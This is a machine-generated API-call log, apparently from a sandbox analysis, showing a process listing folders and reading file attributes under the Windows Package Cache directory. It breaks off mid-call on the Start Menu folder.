[0095.552] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.552] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.552] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.553] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", lpFilePart=0x0) returned 0x47 [0095.553] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.553] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.553] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.553] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.553] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.553] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.553] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x47 [0095.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.553] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebfc2c70, ftCreationTime.dwHighDateTime=0x1d2ec0a, ftLastAccessTime.dwLowDateTime=0xebfc2c70, ftLastAccessTime.dwHighDateTime=0x1d2ec0a, ftLastWriteTime.dwLowDateTime=0xebfc2c70, ftLastWriteTime.dwHighDateTime=0x1d2ec0a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.553] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x47 [0095.553] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.554] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.554] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.554] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.554] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.554] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.554] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x47 [0095.554] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.554] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.554] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.554] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.555] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.555] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.555] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpFilePart=0x0) returned 0x47 [0095.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.555] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4eaa03b0, ftCreationTime.dwHighDateTime=0x1d2fc28, ftLastAccessTime.dwLowDateTime=0x4eac6510, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4eac6510, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.555] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpFilePart=0x0) returned 0x47 [0095.555] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.555] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.555] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.555] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.555] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.555] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.556] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpFilePart=0x0) returned 0x47 [0095.556] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.556] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.556] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.556] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.556] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.556] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.556] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpFilePart=0x0) returned 0x52 [0095.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.556] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec081350, ftCreationTime.dwHighDateTime=0x1d2ec0a, ftLastAccessTime.dwLowDateTime=0xec081350, ftLastAccessTime.dwHighDateTime=0x1d2ec0a, ftLastWriteTime.dwLowDateTime=0xec081350, ftLastWriteTime.dwHighDateTime=0x1d2ec0a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.556] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpFilePart=0x0) returned 0x52 [0095.556] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.557] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.557] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.557] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.557] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.557] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0095.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.557] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec081350, ftCreationTime.dwHighDateTime=0x1d2ec0a, ftLastAccessTime.dwLowDateTime=0xec0a74b0, ftLastAccessTime.dwHighDateTime=0x1d2ec0a, ftLastWriteTime.dwLowDateTime=0xec0a74b0, ftLastWriteTime.dwHighDateTime=0x1d2ec0a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.557] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0095.557] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe97d8 [0095.557] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.557] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.557] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.557] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.558] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0095.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0095.558] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0a74b0, ftCreationTime.dwHighDateTime=0x1d2ec0a, ftLastAccessTime.dwLowDateTime=0xec0f3770, ftLastAccessTime.dwHighDateTime=0x1d2ec0a, ftLastWriteTime.dwLowDateTime=0xec0f3770, ftLastWriteTime.dwHighDateTime=0x1d2ec0a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0095.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.558] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0095.558] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe97d8 [0095.558] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.558] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.558] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.558] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.558] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.558] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0095.559] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe97d8 [0095.559] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.559] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.559] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.559] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.559] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.559] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0095.559] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe97d8 [0095.559] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.559] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.560] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.560] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.560] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpFilePart=0x0) returned 0x52 [0095.560] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.560] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.560] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.560] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.560] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.560] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache", lpFilePart=0x0) returned 0x20 [0095.560] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe97d8 [0095.561] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.561] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.561] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.561] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.561] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.561] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.561] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.561] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.561] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.561] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.563] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.563] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.563] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.563] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Start Menu", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Start Menu", lpFilePart=0x0) returned 0x1d [0095.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.563] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Start Menu" (normalized: "c:\\users\\all users\\start menu"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, 